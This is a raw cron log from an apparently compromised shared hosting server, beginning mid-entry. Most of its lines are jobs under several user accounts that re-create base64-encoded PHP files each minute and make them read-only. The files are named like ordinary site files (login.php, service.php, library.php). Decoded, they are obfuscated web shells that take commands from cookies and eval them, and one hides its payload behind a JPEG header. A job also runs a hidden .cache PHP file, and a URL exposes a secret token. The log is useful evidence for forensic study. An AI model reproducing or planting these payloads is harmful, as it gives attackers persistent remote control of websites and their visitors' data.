pAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:50:02 medusa CROND[23235]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23243]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:50:02 medusa CROND[23244]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:50:02 medusa CROND[23233]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 04:50:02 medusa CROND[23249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:50:02 medusa CROND[23250]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:50:02 medusa CROND[23252]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23254]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:50:02 medusa CROND[23256]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:50:02 medusa CROND[23261]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:50:02 medusa CROND[23248]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 04:51:02 medusa CROND[24609]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:51:02 medusa CROND[24610]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:51:02 medusa CROND[24611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:51:02 medusa CROND[24612]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:51:02 medusa CROND[24613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:51:02 medusa CROND[24614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:51:02 medusa CROND[24616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:51:02 medusa CROND[24621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:51:02 medusa CROND[24622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:51:02 medusa CROND[24623]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:51:02 medusa CROND[24625]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:51:02 medusa CROND[24629]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:51:02 medusa CROND[24634]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:51:02 medusa CROND[24636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:51:02 medusa CROND[24640]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:52:01 medusa CROND[25939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:52:01 medusa CROND[25947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:52:01 medusa CROND[25948]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:52:01 medusa CROND[25949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:52:01 medusa CROND[25951]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:52:01 medusa CROND[25953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:52:01 medusa CROND[25954]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
